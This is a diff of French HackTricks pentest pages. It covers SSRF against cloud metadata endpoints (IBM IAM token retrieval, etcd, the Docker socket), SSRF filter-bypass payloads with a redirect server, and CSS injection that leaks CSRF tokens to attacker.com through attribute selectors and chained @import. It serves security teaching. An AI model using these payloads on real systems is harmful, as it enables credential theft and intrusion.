||||||
|
@ -389,7 +386,6 @@ La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||||
* [https://vault.azure.net](https://vault.azure.net/)
|
* [https://vault.azure.net](https://vault.azure.net/)
|
||||||
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||||||
* [https://management.azure.com](https://management.azure.com/)
|
* [https://management.azure.com](https://management.azure.com/)
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
# Check for those env vars to know if you are in an Azure app
|
# Check for those env vars to know if you are in an Azure app
|
||||||
echo $IDENTITY_HEADER
|
echo $IDENTITY_HEADER
|
||||||
|
@ -461,7 +457,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
||||||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Notez que dans IBM par défaut les métadonnées ne sont pas activées, donc il est possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une VM cloud IBM
|
Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
@ -488,75 +484,77 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||||
# Get IAM credentials
|
# Get IAM credentials
|
||||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## Packetcloud <a href="#id-2af0" id="id-2af0"></a>
|
La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées.
|
||||||
|
|
||||||
Documentation disponible à [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
## Packetcloud
|
||||||
|
|
||||||
## OpenStack/RackSpace <a href="#id-2ffc" id="id-2ffc"></a>
|
Pour accéder aux métadonnées de Packetcloud, la documentation est disponible à l'adresse suivante :
|
||||||
|
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||||
|
|
||||||
(en-tête requis ? inconnu)
|
## OpenStack/RackSpace
|
||||||
```
|
|
||||||
```
|
La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être consultées via :
|
||||||
http://169.254.169.254/openstack
|
- `http://169.254.169.254/openstack`
|
||||||
```
|
|
||||||
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
## HP Helion
|
||||||
|
|
||||||
|
La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse :
|
||||||
|
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||||
|
|
||||||
|
## Oracle Cloud
|
||||||
|
|
||||||
|
Oracle Cloud propose une série de points de terminaison pour accéder à divers aspects des métadonnées :
|
||||||
|
- `http://192.0.0.192/latest/`
|
||||||
|
- `http://192.0.0.192/latest/user-data/`
|
||||||
|
- `http://192.0.0.192/latest/meta-data/`
|
||||||
|
- `http://192.0.0.192/latest/attributes/`
|
||||||
|
|
||||||
|
## Alibaba
|
||||||
|
|
||||||
|
Alibaba propose des points de terminaison pour accéder aux métadonnées, y compris les identifiants d'instance et d'image :
|
||||||
|
- `http://100.100.100.200/latest/meta-data/`
|
||||||
|
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||||
|
- `http://100.100.100.200/latest/meta-data/image-id`
|
||||||
|
|
||||||
|
## Kubernetes ETCD
|
||||||
|
|
||||||
|
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via :
|
||||||
|
- `curl -L http://127.0.0.1:2379/version`
|
||||||
|
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||||
|
|
||||||
|
## Docker
|
||||||
|
|
||||||
|
Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération des informations sur les conteneurs et les images :
|
||||||
|
- Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
|
||||||
|
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||||
|
- À l'intérieur du conteneur, utilisez curl avec le socket Docker :
|
||||||
|
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||||
|
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||||
|
|
||||||
|
## Rancher
|
||||||
|
|
||||||
|
Les métadonnées de Rancher peuvent être consultées en utilisant :
|
||||||
|
- `curl http://rancher-metadata/<version>/<path>`
|
||||||
|
|
||||||
(entête requis ? inconnu)
|
|
||||||
```
|
|
||||||
http://169.254.169.254/2009-04-04/meta-data/
|
|
||||||
```
|
|
||||||
## Oracle Cloud <a href="#a723" id="a723"></a>
|
|
||||||
```
|
|
||||||
http://192.0.0.192/latest/
|
|
||||||
http://192.0.0.192/latest/user-data/
|
|
||||||
http://192.0.0.192/latest/meta-data/
|
|
||||||
http://192.0.0.192/latest/attributes/
|
|
||||||
```
|
|
||||||
## Alibaba <a href="#id-51bd" id="id-51bd"></a>
|
|
||||||
```
|
|
||||||
http://100.100.100.200/latest/meta-data/
|
|
||||||
http://100.100.100.200/latest/meta-data/instance-id
|
|
||||||
http://100.100.100.200/latest/meta-data/image-id
|
|
||||||
```
|
|
||||||
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
|
||||||
|
|
||||||
Peut contenir des clés API et des IP internes et ports
|
|
||||||
```
|
|
||||||
curl -L http://127.0.0.1:2379/version
|
|
||||||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
|
||||||
```
|
|
||||||
## Docker <a href="#ac0b" id="ac0b"></a>
|
|
||||||
```
|
|
||||||
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
|
|
||||||
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
|
||||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
|
||||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
|
||||||
```
|
|
||||||
## Rancher <a href="#id-8cb7" id="id-8cb7"></a>
|
|
||||||
```
|
|
||||||
curl http://rancher-metadata/<version>/<path>
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder surveille votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -93,9 +93,9 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||||
```
|
```
|
||||||
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
||||||
|
|
||||||
L'**extension Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP.
|
L'extension **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP.
|
||||||
|
|
||||||
### Analyseur de Domaine
|
### Analyseur de domaine
|
||||||
```bash
|
```bash
|
||||||
https:attacker.com
|
https:attacker.com
|
||||||
https:/attacker.com
|
https:/attacker.com
|
||||||
|
@ -161,7 +161,7 @@ next={domain}&next=attacker.com
|
||||||
```
|
```
|
||||||
### Contournement des chemins et des extensions
|
### Contournement des chemins et des extensions
|
||||||
|
|
||||||
Si vous devez utiliser une URL qui se termine par un chemin ou une extension, ou qui doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :
|
Si vous devez spécifier que l'URL doit se terminer par un chemin ou une extension, ou doit contenir un chemin, vous pouvez essayer l'un des contournements suivants :
|
||||||
```
|
```
|
||||||
https://metadata/vulerable/path#/expected/path
|
https://metadata/vulerable/path#/expected/path
|
||||||
https://metadata/vulerable/path#.extension
|
https://metadata/vulerable/path#.extension
|
||||||
|
@ -169,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||||
```
|
```
|
||||||
### Fuzzing
|
### Fuzzing
|
||||||
|
|
||||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner la regex utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) également pour plus d'informations.
|
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) pour plus d'informations.
|
||||||
|
|
||||||
### Contournement via redirection
|
### Contournement via redirection
|
||||||
|
|
||||||
Il est possible que le serveur **filtre la requête originale** d'une SSRF **mais pas** une réponse de **redirection** possible à cette requête.\
|
Il est possible que le serveur **filtre la requête d'origine** d'une SSRF **mais pas** une éventuelle réponse de **redirection** à cette requête.\
|
||||||
Par exemple, un serveur vulnérable à SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) vers l'endroit où vous souhaitez rediriger, vous pourriez être capable d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même des **protocoles filtrés** comme gopher.\
|
Par exemple, un serveur vulnérable à la SSRF via : `url=https://www.google.com/` pourrait être en train de **filtrer le paramètre d'URL**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder aux adresses IP filtrées** comme 127.0.0.1 ou même aux **protocoles filtrés** comme gopher.\
|
||||||
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
@ -200,36 +200,38 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
|
|
||||||
### Astuce du backslash
|
### Astuce du backslash
|
||||||
|
|
||||||
En résumé, l'_astuce du backslash_ repose sur l'exploitation d'une petite différence entre deux spécifications d'URL : la [Norme URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 est une spécification générique et polyvalente pour la syntaxe des _Identifiants de Ressource Uniformes_ (URI), tandis que la Norme URL WHATWG est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la Norme URL WHATWG.
|
La *technique du backslash* exploite une différence entre le [Standard des URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), impactant la façon dont les URL sont analysées, marquant spécifiquement la transition de l'hôte vers le chemin dans une URL.
|
||||||
|
|
||||||
Les deux décrivent une manière d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit [un caractère supplémentaire](https://url.spec.whatwg.org/#authority-state), le `\`, qui se comporte exactement comme `/` : il termine le nom d'hôte et l'autorité et commence le chemin de l'URL.
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
![Les deux spécifications analysent différemment la même URL](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
|
||||||
|
|
||||||
### Autres Confusions
|
### Autres Confusions
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (629).png>)
|
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
|
||||||
|
|
||||||
image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||||
|
|
||||||
|
|
||||||
|
# Références
|
||||||
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
### Sélecteur d'attribut
|
### Sélecteur d'attribut
|
||||||
|
|
||||||
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si la valeur de l'attribut de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
|
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut de valeur de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée:
|
||||||
```css
|
```css
|
||||||
input[name=csrf][value^=a]{
|
input[name=csrf][value^=a]{
|
||||||
background-image: url(https://attacker.com/exfil/a);
|
background-image: url(https://attacker.com/exfil/a);
|
||||||
|
@ -77,16 +77,16 @@ Au lieu de charger la même page une fois et encore avec des dizaines de charges
|
||||||
@import url('//attacker.com:5001/start?');
|
@import url('//attacker.com:5001/start?');
|
||||||
```
|
```
|
||||||
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
|
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
|
||||||
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.**
|
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants à nouveau**.
|
||||||
3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants.
|
3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants.
|
||||||
4. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**.
|
4. La deuxième et plus grande partie de la charge utile va être un **payload de fuite de sélecteur d'attribut**.
|
||||||
5. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**.
|
5. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**.
|
||||||
6. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il répondra à l'import demandé à l'étape 2.
|
6. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'import demandé à l'étape 2**.
|
||||||
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
|
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
|
||||||
|
|
||||||
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
|
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
|
||||||
|
|
||||||
Vous pouvez trouver le [**code de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
|
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:
|
